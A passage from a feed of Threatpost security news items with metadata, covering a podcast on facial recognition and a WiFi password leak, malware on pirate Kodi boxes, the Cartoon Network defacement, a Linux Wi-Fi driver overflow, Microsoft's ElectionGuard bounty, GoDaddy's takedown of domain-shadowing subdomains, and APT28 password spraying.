that instead of scanning her boarding pass, or taking a look at her passport, she was directed to look into a camera, before being allowed on onto the jet bridge. So she was confused about what was going on and so tweeted at JetBlue. And it turns out, this was part of a Customs and Border Patrol program that\u2019s used in I think, 17 airports, where it uses facial recognition to identify passengers and let them through the gateway onto the plane. So her tweet went viral and kind of started this massive conversation about facial recognition and you know, if you can consent and where the data is coming from, how it\u2019s being shared. So that\u2019s been a really interesting story to cover, and kind of see the backlash and reaction to both of these incidents.\n\n**Tom: **I can relate to that. I recently traveled to Mexico, for a little vacation. And, I am seeing facial recognition more and more in my life. I think the interesting thing about your story, Lindsey, was also you wrote about consent, whether or not all of these facial recognition systems actually ask for consent and get consent, which they don\u2019t. But when I went to Mexico, we flew into Mexico, and then we went through customs in Mexico, and Mexico had immigration kiosks, where they asked for facial recognition and fingerprints, and to scan our passports, which \u2013 I was really creeped out. My son, who\u2019s 14 years old, I think probably is now part of the government database of fingerprints and facial recognition. It was kind of weird. Considering, you know, he\u2019d been off grid, perhaps I think for a while now, he\u2019s part of the system. And then we flew back into the United States. There was these huge immigration lines in the Boston Airport. And one of the things that we were able to do was to cut the line by using what was called a mobile passport app. And I didn\u2019t realize it but when you use the app, and you get to skip this, this huge onerous line that goes to basically more facial recognition kiosks for people coming into the United States. And the app itself was pretty slick. I mean, it\u2019s kind of funny, because I felt really good about using the app, because it allowed me to cut in line. But the app basically did a facial recognition, had me input my passport information, and basically, took my identity in this app. And, I was so eager to cut the line, I gotta admit, I kind of skipped over a lot of the terms of services. And it saved me about 45 minutes. And for the price of handing over my biometric data to the government and to this to this app.\n\n**Lindsey: **That experience brings up a really good point, because, I think that there definitely are benefits to facial recognition. Like, it\u2019s not all about this dire Orwellian society. I think it makes these processes so much more efficient. But I do think there\u2019s also a bunch of kind of privacy concerns that people expressed to me over the past week. And, Tom, like you were saying, consent and notification, but then also in terms of how the data is being secured, how it\u2019s being shared, and who\u2019s gaining access to that data. So I think that there\u2019s kind of a lot that goes into it. I know that we actually did a poll, a Threatpost poll, and half of the respondents, this kind of surprised me, but half of the respondents said that they don\u2019t believe consent is realistically possible when it comes to facial recognition. So I thought that was interesting, too, because if you think about some of the use cases where biometrics and facial recognition exists, if you have like a security camera, or surveillance camera that is using facial recognition, there\u2019s not a lot you can do to opt out of that except for avoiding that area.\n\n**Tom:**Well, I think you mentioned that the White House now has a zone where they use facial recognition. And right there, there\u2019s no way you can say no, you walk into that zone. And you\u2019re basically get put into a big database, and they cross reference it and figure out who you are.\n\n**Lindsey: **Right. So there\u2019s a lot that goes into that. And then when I was talking to a bunch of security people at the Electronic Frontier Foundation, as well, they were mentioning that there really needs to be regulation for all this. And there, there is one law that exists in Illinois, where it basically regulates the collection of biometric data without consent. But they think that there needs to be more. And in particular, regulation that impacts law enforcement, as opposed to just businesses which that law did. So I know, there\u2019s also been a new bill that was introduced in March, it was, what was it called, the Commercial Facial Recognition Privacy Act, that would have like more widespread implications for businesses in terms of how what kind of notification and consent they would need when they use facial recognition. So I think that\u2019s kind of a step in the right direction, but something to be looking out for.\n\n**Tom: **Yeah, facial recognition has been a creepy topic for a long time. But you know, as these GPUs get better, and these computers get better, and the efficiency of the compute behind them get better. It just becomes even creepier. I don\u2019t even think the tin foil hats will help protect you.\n\n**Lindsey: **So Tom, you also had an interesting story this week. I think it was about passwords being \u2013 I think it was 2 million passwords were \u2013 being exposed.\n\n**Tom: **Yeah. So I mean, we hear about these breach stories all the time. And I mean, there\u2019s probably like, since we\u2019ve been talking, there\u2019s probably been like three breaches, or should I say leaky servers and insecure data on the internet. And one of the things that I think is kind of interesting about the story is that the leaky data, it was tied to a China-based app manufacturer, called Wi Fi Finder. And researchers at GDI Foundation, found 2 million hotspots and passwords for those hotspots on the servers of this app, this Android app called WiFi Finder. And essentially, it\u2019s pretty straightforward. The app itself is an Android-based app, you can get it on Google Play. And it\u2019s one of many of apps that do the same thing. And that is essentially crowdsource on Wi-Fi hotspot data, and also pairing that information with passwords. So the idea is if your dataset is big enough, and you\u2019re wandering around with this app on your phone, you can find a hotspot, and you can authenticate to that hotspot, and you don\u2019t have to ask anybody for a Wi-Fi password. Now, the data that was found on the servers was pretty extensive in the sense that it wasn\u2019t just commercial businesses. So you know, you go to Starbucks, you go to your local gym, or you go to, you know, a bookstore or something like that, you know, you have these public Wi Fi hotspots with a password that you may have to ask for, you may have to look for. And what was happening was that people were crowdsourcing private companies that were not, generally publicly accessible. And for some odd reason, and this really wasn\u2019t explained very well in the reporting, of the research, was that there was a massive, massive amount of Wi-Fi hotspots that were owned by home users like consumers. And so you would you basically had a lot of a lot of password information and a lot of hotspots by consumers in their homes. And the concern there is, is that in a commercial setting, or even in a sort of a public business, publicly accessible hotspot, there are protections put in place to prevent people from messing with the router configurations and accessing some of the some of the settings within the router. But as if you have access to a home router, those security measures are not in place. And there was no documented cases of hacking, but the concern was there regarding that type of information being available to anybody that had access to this leaky server.\n\n**Lindsey:**I feel like we keep seeing this issue of insecure databases and these accidental exposures, which, obviously are different from a malicious breach. I\u2019m curious if there\u2019s something that can be done to prevent this for people who own these databases. I mean, Tom, did you talk to anyone, any experts who had any recommendations about how to better secure databases and kind of what the underlying problem is here?\n\n**Tom: **I did talk to a couple experts on this one. And, you know, the advice is always the same.In terms of leaky data on servers, it doesn\u2019t change much. Just make sure you configure your servers correctly, and make sure that they\u2019re not accessible to the public. I mean, there\u2019s a couple strategies that you can apply to that. I think one of the one of the other suggestions was the way in which some of these publicly accessible sites providing and offer Wi-Fi, and that would be more or less not an open Wi-Fi, not an insecure Wi-Fi, but things that use tokens and allow and divvy out Wi-Fi to individuals using a specific time delineated username and a unique password. And that way, it would basically render all of these apps useless, because there would be a unique username and a unique password, that would timeout within a certain period of time, which would really create a much more secure public Wi-Fi experience. And that was really the suggestion. And that was really what the experts were saying that I talked to regarding the blowback on this story.\n\n**Lindsey: **Well, I\u2019m feeling sufficiently like I need more privacy right now. Maybe we should wrap up now, Tom and Tara, thanks for taking the time and really interesting discussion today.\n\n**Tara: **Yeah. Thanks, Lindsay. Thanks, Tom.\n\n**Tom: **Yeah, have a great weekend. Have a great weekend.\n\n**Lindsey: **Catch us next week on the Threatpost podcast.\n\nFor direct download, [click here](<http://traffic.libsyn.com/digitalunderground/NEWS_WRAP_FINAL.mp3>).\n", "cvss3": {}, "published": "2019-04-26T17:57:36", "type": "threatpost", "title": "News Wrap: Amazon Echo Privacy, Facebook FTC Fines and Biometrics Regulation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T17:57:36", "id": "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147", "href": "https://threatpost.com/threatpost-news-wrap-podcast-for-apr-26/144144/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:57", "description": "You get what you pay for when you pirate content. That\u2019s the takeaway from the latest report by Digital Citizens Alliance.\n\nIt found that pirating hardware, which enables free streaming copyright-protected content, comes packed with malicious malware. The devices give criminals easy access to router settings, can plant malware on shared network devices and are often leveraged to steal user credentials.\n\nAccording to the [Digital Citizens Alliance report](<https://www.digitalcitizensalliance.org/clientuploads/directory/Reports/DCA_Fishing_in_the_Piracy_Stream_v6.pdf>) (PDF), 13 percent of 2,073 Americans surveyed use a hardware device for pirating content. One such popular device is called a \u201cKodi box,\u201d which is sold for between $70 to $100 on grey markets. Kodi is an open-source media player designed for televisions and developed by the XBMC Foundation. The software is widely known for its support of a bevy of copyright-infringing apps that offer free access to premium content from Netfix, Amazon Prime, Hulu, sports networks and paid subscription music services. \n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cBy plugging the device into a home network, [users] are enabling hackers to bypass the security (such as a router\u2019s firewall) designed to protect their system. If apps on the box or that are later downloaded have malware, the user has helped the hacker past network security,\u201d wrote Digital Citizens Alliance (DCA) in a recently released report.\n\nIn a review of hardware and pirating apps, such as FreeNetflix, researchers said they found malware piggybacking on illegal apps and preloaded with content. For example, when researchers installed a live sports streaming app called Mobdro, the app forwarded the researcher\u2019s Wi-Fi network name and password to a server in Indonesia.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154055/Jailbroken-Firestick-image.png>)\n\nExample of a jail broken Amazon Fire TV Stick for sale. Courtesy: Digital Citizens Alliance\n\nIn other instances, 1.5 terabytes of data was uploaded from a device that shared the same network of the Kodi box. And, in yet another instance, \u201cresearchers uncovered a clever scheme that enabled criminals to pose as well-known streaming sites, such as Netflix, to facilitate illegal access to a legitimate subscription of an actual Netflix subscriber,\u201d according to the report.\n\nFor its investigation DCA partnered with GroupSense, a security firm that specializes in chatrooms that facilitate black market sales. It claims hackers were discussing how to leverage networks compromised by illicit media streaming services in hopes of recruiting them into DDoS botnets or to mine cryptocurrency.\n\n\u201cGiven that users rarely install anti-virus tools on such devices, the opportunities for exploitation are numerous,\u201d wrote researchers.\n\nThe unsavory worlds of [pirated content and malware are no strangers](<https://threatpost.com/searches-for-pirated-content-lead-to-pain-and-little-gain/113515/>). Researchers have [long warned that patronizing such](<https://threatpost.com/passteal-malware-lurking-file-sharing-sites-112112/77239/>) services is a shortcut to infection. Earlier this month, [Kaspersky Lab released a report](<https://threatpost.com/game-of-thrones-malware-piracy/143318/>) that found that illegal downloads of HBO\u2019s Game of Thrones accounted for 17 percent of all infected pirated content in the last year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154327/Firestick-Apps.png>)\n\nExamples of apps running on the Kodi platform.\n\nIn [Aug. 2018 researchers at ESET](<https://www.welivesecurity.com/2018/09/13/kodi-add-ons-launch-cryptomining-campaign/>) said they found DDoS modules had been added to a Kodi third-party add-on. ESET said it also found copyright-infringing apps that came with multi-stage crypto-mining malware that targeted Windows and Linux systems.\n\nAs part of its report, DCA reached out to XBMC Foundation. XBMC quickly rebuffed any notion it tacitly supported or endorsed pirated content. \u201cIf you are selling a box on your website designed to trick users into thinking broken add-ons come from us and work perfectly, so you can make a buck, we\u2019re going to do everything we can to stop you,\u201d it told DCA.\n\nThe Kodi application typically runs on a wide range of hardware and is sold by independent resellers on eBay, Facebook Marketplace and Craigslist. DCA said it also found Kodi pre-installed on a number of devices including inexpensive China-made media streamers. The software can also be found on devices, that were sold pre-sideloaded with Kodi software. Users can also choose to install the Kodi application on existing hardware.\n\nTo be clear, the Kodi software is not illicit. Rather, researchers are concerned the Kodi platform supports pirating apps that can harbor malware. Researchers are also concerned that some hardware devices that are sold as \u201cKodi boxes\u201d come pre-installed with malicious code and apps used to pirate streaming content.\n\nDCA did its own independent testing over the course of 500 hours of lab testing. It estimates there are 12 million active users of the illicit devices in North American homes. Those users \u201cpresent a tempting target because they offer hackers a new avenue to exploit consumers and a path to reach other devices on a home network. The findings should serve as a wake-up call for consumers, the technology community, and policymakers to take the threat seriously,\u201d it said.\n", "cvss3": {}, "published": "2019-04-29T20:31:30", "type": "threatpost", "title": "Malware Infests Popular Pirate Streaming Hardware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:31:30", "id": "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "href": "https://threatpost.com/kodi_box_malware/144191/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:43", "description": "A famous Brazilian male stripper greeted Cartoon Network viewers worldwide when they tried to stream shows over the weekend \u2013 thanks to a pair of hackers that took aim at the cable network\u2019s websites across 16 different regions.\n\nIn the aftermath, entire Cartoon Network sites and video players have been taken down while remediation continues.\n\nThe Brazilian stripper, Ricardo Milos, is known for wearing a red bandana on his head and an American flag thong. His unique approach to erotic dance fashion has propelled him to [internet meme status](<https://youtu.be/epgz-6ZikHA>); and the hackers, apparent fans, placed Milos videos on the Cartoon Network sites, along with various Arabic memes and Brazilian music vids.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAccording to [reports](<https://www.zdnet.com/article/cartoon-network-websites-hacked-to-show-arabic-memes-and-brazilian-male-stripper/>), the defacement was carried out by a pair of Brazilian hackers who exploited a vulnerability in Cartoon Network\u2019s website management platform. The compromise occurred April 25, and the content stayed up over the weekend until the channel was notified April 28. While the rogue content has been removed, some sites\u2019 video players were still down as of this report.\n\nBoth Cartoon Network UK and Cartoon Network Russia issued short statements [acknowledging](<https://twitter.com/CNUKTweets/status/1122506277224157184>) the issue. In a media statement the network said that \u201csites have been temporarily deactivated\u201d and that IT teams are \u201cworking hard to relaunch the sites.\u201d\n\nThe attack affected Cartoon Network portals for Brazil, the Czech Republic, Denmark, Germany, Hungary, Italy, Mexico, the Middle East and Africa (MENA), the Netherlands, Norway, Poland, Romania, Russia, Turkey and the UK, according to reports from the Twitterverse.\n\n> About 6+ hours ago someone hacked most of the Cartoon Network websites (by language) and replaced them with random shit.\n> \n> List of countries that have been targeted: \n> \n> UK \nHungary \nRomania \nGerman \nRussia \nPoland \nCzech \nDenmark \nArabic \nNorway \nNetherlands \nItaly \nTurkey \nAfrican [pic.twitter.com/anRB2PnP2g](<https://t.co/anRB2PnP2g>)\n> \n> \u2014 Flor Geneva (@Fl0r_Geneva) [April 28, 2019](<https://twitter.com/Fl0r_Geneva/status/1122420981681872896?ref_src=twsrc%5Etfw>)\n\nTypically, website defacement is carried out for political/hacktivist/vendetta purposes, but it\u2019s unclear why the Turner-owned network, home to kids\u2019 hits like Adventure Time, would be a target in this case. The last high-profile defacement came when hackers [infiltrated a Wall Street Journal webpage](<https://threatpost.com/wsj-hacked-pewdiepie/140035/>) in an attempt to promote YouTube celebrity \u201cPewDiePie\u201d (given name Felix Kjellberg), who had come under fire for in the pages of the WSJ for what the outlet termed anti-Semitic behavior.\n\nTaking aim at media targets could be a new trend as well; in April, the Weather Channel\u2019s linear TV feed [was knocked offline](<https://threatpost.com/weather-channel-off-air-hack/143936/>) by a cyberattack \u2013 again, no motive was apparent.\n", "cvss3": {}, "published": "2019-05-01T15:32:40", "type": "threatpost", "title": "Cartoon Network Hacked Worldwide to Show Brazilian Stripper Videos", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T15:32:40", "id": "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "href": "https://threatpost.com/cartoon-network-hacked/144263/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:30:33", "description": "A critical Linux bug has been discovered that could allow attackers to fully compromise vulnerable machines. A fix has [been proposed](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) but has not yet been incorporated into the Linux kernel.\n\nThe flaw ([CVE-2019-17666](<https://nvd.nist.gov/vuln/detail/CVE-2019-17666>)), which was [classified as critical](<https://vuldb.com/?id.143835>) in severity, exists in the \u201crtlwifi\u201d driver, which is a software component used to allow certain Realtek Wi-Fi modules, used in Linux devices, to communicate with the Linux operating system.\n\nSpecifically, the driver is vulnerable to a [buffer overflow](<https://cwe.mitre.org/data/definitions/122.html>) attack, where a buffer (a region in physical memory storage used to temporarily store data while it is being moved) is allocated in the heap portion of memory (a region of process\u2019s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. This specific flaw could enable attackers to launch a variety of attacks \u2013 from crashing vulnerable Linux machines to full takeover.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe bug is serious\u2026 if an attacker is currently using that Realtek driver (rtlwifi), then it\u2019s vulnerable to this bug and someone on a wireless distance range can potentially attack him,\u201d Nico Waisman, principal security engineer at Github, who discovered the bug and posted his findings [Thursday on Twitter](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1184864519316758535&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost.php%3Fpost%3D149325%26action%3Dedit>), told Threatpost.\n\n> Found this bug on Monday. An overflow on the linux rtlwifi driver on P2P (Wifi-Direct), while parsing Notice of Absence frames. \nThe bug has been around for at least 4 years <https://t.co/rigXOEId29> [pic.twitter.com/vlVwHbUNmf](<https://t.co/vlVwHbUNmf>)\n> \n> \u2014 Nico Waisman (@nicowaisman) [October 17, 2019](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw>)\n\nThe vulnerable piece of the rtlwifi driver is a feature called the Notice of Absence protocol. This protocol helps devices autonomously power down their radio to save energy. The flaw exists in how the driver handles Notice of Absence packets: It does not check certain packets for a compatible length, so an attacker could add specific information elements that would cause the system to crash.\n\nAccording to Waisman, to exploit the flaw an attacker would send a \u201cmalicious\u201d packet that will trigger the vulnerability on the Linux machine. This can be done if the attacker is within radio range of the vulnerable device. There is no need for an attacker to have any sort of authentication, he said.\n\nThe flaw can be exploited to trigger various attacks, he added.\n\n\u201cThe vulnerability triggers an overflow, which means it could make Linux crash or if a proper exploit is written (which is not trivial), an attacker could obtain remote code-execution,\u201d Waisman told Threatpost.\n\nVersions through 5.3.6 of the Linux kernel operating system are impacted \u2014 and researchers said it has been in existence for four years before discovery. In response, the Linux kernel team has [developed a patch](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) which is currently under revision but has not yet been incorporated into the Linux kernel.\n\nRealtek did not respond to a request for comment from Threatpost.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T15:55:37", "type": "threatpost", "title": "Four-Year-Old Critical Linux Wi-Fi Bug Allows System Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-17666", "CVE-2020-0688"], "modified": "2019-10-18T15:55:37", "id": "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "href": "https://threatpost.com/critical-linux-wi-fi-bug-system-compromise/149325/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:24:12", "description": "As the 2020 presidential election draws closer and primary season looms around the corner, Microsoft has launched a bug-bounty program specifically aimed at its ElectionGuard product, which the software giant has positioned as performing \u201cend-to-end verification of elections.\u201d\n\nElectionGuard is a free open-source software development kit that secures the results of elections and makes those results securely available to approved third-party organizations for validation; it also allows individual voters to confirm that their votes were correctly counted.\n\nThe bounty program invites security researchers (\u201cwhether full-time cybersecurity professionals, part-time hobbyists or students\u201d) to probe ElectionGuard for high-impact vulnerabilities and share them with Microsoft under Coordinated Vulnerability Disclosure (CVD). Eligible submissions with a \u201cclear, concise proof of concept\u201d (PoC) are eligible for awards ranging from $500 to $15,000 depending on the severity of the bug found.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn-scope products include the ElectionGuard specification and documentation (such as data-transmission issues like information leakage); the verifier reference implementation (bugs that allow attackers to say elections are valid when they aren\u2019t); and C Cryptography implementations (such as bugs that allow key or vote discovery by observing SDK messages).\n\nThe program is one prong of the company\u2019s wider \u201cDefending Democracy\u201d program, under which Microsoft has pledged to [protect campaigns from hacking](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>); increase political [advertising transparency](<https://threatpost.com/google-fine-privacy-gdpr/141055/>) online; explore ways to [protect electoral processes](<https://threatpost.com/voting-machines-hacked-with-ease-at-def-con/127101/>) with technology; and defend against [disinformation campaigns](<https://threatpost.com/twitter-5000-accounts-disinformation-campaigns/145764/>).\n\nResearchers said that the bug-bounty program is a welcome \u2013 if limited \u2013 addition to the private sector\u2019s response to election meddling. However, they also highlighted the need for a more holistic effort, united across both public and private organizations.\n\n\u201c[Russian interference in the 2016 election](<https://threatpost.com/justice-department-indicts-12-russian-nationals-tied-to-2016-election-hacking/133978/>) gave cybersecurity a quick moment in the political spotlight,\u201d Monique Becenti, product and channel specialist at SiteLock, told Threatpost. \u201cBut when the cost of cybercrime reaches billions of dollars each year, election security needs to be top of mind for our political leaders. Since 2016, election security bills have been slow-moving. Some companies, like Microsoft, are rallying the security industry to address this issue head-on. The ElectionGuard Bounty program is an important step in the right direction, but we need political leaders who will champion this issue and ensure constituents and our elections stay secure.\u201d\n\nNot everyone is excited about the move; Richard Gold, head of security engineering at Digital Shadows, said that the program is limited to Microsoft\u2019s proprietary solution, which makes its real-world impact limited at best.\n\n\u201cIt\u2019s great that companies like Microsoft are launching programs like this, but the question remains: how much is this kind of bug bounty going to be used?\u201d he told Threatpost. \u201cBug-bounty programs need to be applied consistently in order to have real impact. There is a trade off in time and resources that needs to be overcome in order for a program like this to be worthwhile.\u201d\n\n\u201cMicrosoft is committed to strengthening our partnership with the security research community as well as pursuing new areas for security improvement in emerging technology,\u201d said Jarek Stanley, senior program manager at the Microsoft Security Response Center, in [announcing the program](<https://msrc-blog.microsoft.com/2019/10/18/introducing-the-electionguard-bounty-program/>). \u201cWe look forward to sharing more bounty updates and improvements in the coming months.\u201d\n\nMicrosoft paid $4.4 million in bounty rewards between July 1, 2018 and June 30 across 11 bounty programs, with a top award of $200,000.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T20:04:29", "type": "threatpost", "title": "Microsoft Tackles Election Security with Bug Bounties", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-18T20:04:29", "id": "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "href": "https://threatpost.com/microsoft-election-security-bug-bounties/149347/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:04:44", "description": "Researchers at the security firm Palo Alto Networks worked with domain registrar and web hosting firm GoDaddy to shut down 15,000 subdomains pitching \u2018snake oil\u2019 products and other scams. The takedowns are linked to affiliate marketing campaigns peddling everything from weight-loss solutions and brain-enhancement pills.\n\nThose behind the spam campaigns used a technique called domain-shadowing, and they were able to compromise thousands of servers and abuse hundreds of domains and website admin account credentials, according to researchers.\n\nSpam campaigns associated with these subdomain takeovers date back to 2017. Links in messages pointed to subdomains of websites, which unknowingly hosted the product pitches that were backed by bogus endorsements purporting to be from the likes of Stephen Hawking, Jennifer Lopez and Gwen Stefani.\n\n\u201cOn a scale of one to 10 for the \u2018worst types of spam\u2019 you can receive, approaching that perfect 10 score is spam related to \u2018snake oil\u2019 products that are so patently fake that you struggle to understand why they would even bother trying to sell it,\u201d wrote Jeff White, senior threat researcher at Palo Alto Networks, [in a blog post outlining the takedown](<https://unit42.paloaltonetworks.com/takedowns-and-adventures-in-deceptive-affiliate-marketing/>).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/26131443/Figure-13-TMZ-pre-sell-page.png>)\n\nExample of a \u201cfarticle\u201d extolling the merits of a dubious pill, solution or potion. Farticle is a term used to describe a fraudulent article. (Click to Enlarge)\n\nWhite investigated and traced the links in the spam messages to an elaborate URL redirection chain that eventually dumped users on the fake products\u2019 landing pages. The redirections, researchers discovered, were leveraging compromised servers. To help obfuscate the sketchy behavior, spammer also used a [Caesar cipher](<http://www.practicalcryptography.com/ciphers/caesar-cipher/>) (a simple substitution code) and a hypertext preprocessor (PHP) file for handling the redirections.\n\n\u201cThe [Caesar cipher] injection is using .php files on compromised sites to drive traffic to fraudulent and/or scam pages,\u201d [according to a researcher at PassiveTotal](<https://www.riskiq.com/blog/labs/caesarv/>) that White consulted with during his investigation. \u201c[These included] fake tech support and fake sites purporting to be news sites, reporting on the incredible effects of weight-loss and intelligence pills.\u201d\n\nNext, White determined that the redirection sites and those that hosted the spam pitches were using legitimate registrant accounts in a technique called domain-shadowing. That\u2019s when attackers use stolen domain registrant credentials to create massive lists of subdomains, which are used in quickly rotating fashion to either redirect victims to attack sites, or to serve as hosts for malicious payloads. This technique is considered an evolution of [fast-flux](<https://threatpost.com/operation-high-roller-banked-fast-flux-botnet-steal-millions-102412/77150/>), where malicious elements are moved from place to place rapidly, in an effort to stay ahead of detection.\n\n\u201cIt would seem likely that the person(s) behind [the campaigns] were going about it in an automated fashion, logging into these legitimate domain accounts and using a dictionary of simple English words to create subdomains pointing to their redirector,\u201d said the researcher.\n\nThis isn\u2019t the first time GoDaddy has had to deal domain-shadowing used to link to malicious activity. Over the years the approach has been used to distribute [everything from the Angler Exploit Kit](<https://threatpost.com/domain-shadowing-latest-angler-exploit-kit-evasion-technique/111396/>) to [the RIG Exploit Kit](<https://threatpost.com/40000-subdomains-tied-to-rig-exploit-kit-shut-down/126072/>).\n\nWhile in White\u2019s case the payload wasn\u2019t malware, but rather affiliate marketing scams, he warned of the malicious nature of those behind the spam campaigns: \u201cThere are a lot of players in the affiliate marketing world, from the affiliates to the merchants and all of the networks in-between,\u201d he said. \u201cHopefully this blog helps to shine some light on how at every link in this chain there are shady, sometimes illegal and almost always deceptive business practices still being employed, to scam hard working people out of their money.\u201d\n", "cvss3": {}, "published": "2019-04-26T17:47:01", "type": "threatpost", "title": "GoDaddy Shutters 15,000 Subdomains Tied to 'Snake Oil' Scams", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688"], "modified": "2019-04-26T17:47:01", "id": "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "href": "https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-07T11:01:50", "description": "U.S. and U.K. authorities are warning that the APT28 advanced-threat actor (APT) \u2013 a.k.a. Fancy Bear or Strontium, among other names \u2013 has been using a [Kubernetes](<https://threatpost.com/windows-containers-malware-targets-kubernetes/166692/>) cluster in a widespread campaign of brute-force password-spraying attacks against hundreds of government and private sector targets worldwide.\n\nThe joint alert ([PDF](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)) \u2013 posted on Thursday by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), the FBI, and the U.K.\u2019s National Cyber Security Centre (NCSC) \u2013 attributes the campaign to the APT group, which has [long been suspected](<https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/>) of having ties to the General Staff Main Intelligence Directorate (GRU) arm of Russia\u2019s military intelligence.\n\nThe attacks have been launched since at least mid-2019 through early 2021 and are \u201calmost certainly still ongoing,\u201d according to the advisory.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe threat actor has targeted \u201ca significant amount\u201d of its activity at organizations using [Microsoft Office 365 cloud services](<https://threatpost.com/microsoft-office-365-attacks-google-firebase/163666/>), authorities warned.\n\nThe attackers are after the passwords of people who work at sensitive jobs in hundreds of organizations worldwide, including government and military agencies in the U.S. and Europe, defense contractors, think tanks, law firms, media outlets, universities and more.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02101634/APT28-targets-e1625235408497.jpg>)\n\nAPT28 targets being bombarded by brute-force attacks. Source: CISA advisory.\n\nOnce the threat actors get valid credentials, they\u2019re using them for initial access, persistence, privilege escalation and defense evasion, among other things. The actors are using the passwords in conjunction with exploits of publicly known vulnerabilities, such as ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) \u2013 a vulnerability in the [control panel of Microsoft\u2019s Exchange Server](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 and [ CVE 2020-17144](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144>), also found in Exchange Server. Both these and other vulnerabilities can be used for remote code execution (RCE) and further access to target networks.\n\nAfter APT28 gains remote access, it uses a slew of well-known tactics, techniques and procedures (TTPs) \u2013 including HTTP(S), IMAP(S), POP3, and [NTLM](<https://threatpost.com/microsoft-addresses-ntlm-bugs-that-facilitate-credential-relay-attacks/126752/>) (a suite of Microsoft security protocols used for authentication \u2013 in addition to Kubernetes-powered password-spraying in order to gain lateral movement, to evade defenses and to sniff out more information from the target networks.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02103812/TTPs--e1625236705468.jpg>)\n\nExample of several TTPs used together as part of this type of brute-force campaign. Source: CISA advisory.\n\nGiven how vastly different the target networks\u2019 structures are, the actors are using an equally diverse mix of TTPs. The alert included 21 samples of known TTPs. One example is the TTPs used to exploit public-facing apps: APT28 has been tracked using the two previously mentioned bugs to gain privileged RCE on vulnerable Microsoft Exchange servers, which in some case happened after valid credentials were identified via password spray, given that exploitation of the vulnerabilities requires authentication as a valid user.\n\n## How Kubernetes Fits In\n\nAuthorities said that to obfuscate its true origin and to provide \u201ca degree of anonymity,\u201d the Kubernetes cluster used in these attacks normally routes brute-force authentication attempts through Tor and commercial [VPN services](<https://threatpost.com/darkside-pwned-colonial-with-old-vpn-password/166743/>), including CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark and WorldVPN. If they\u2019re not using 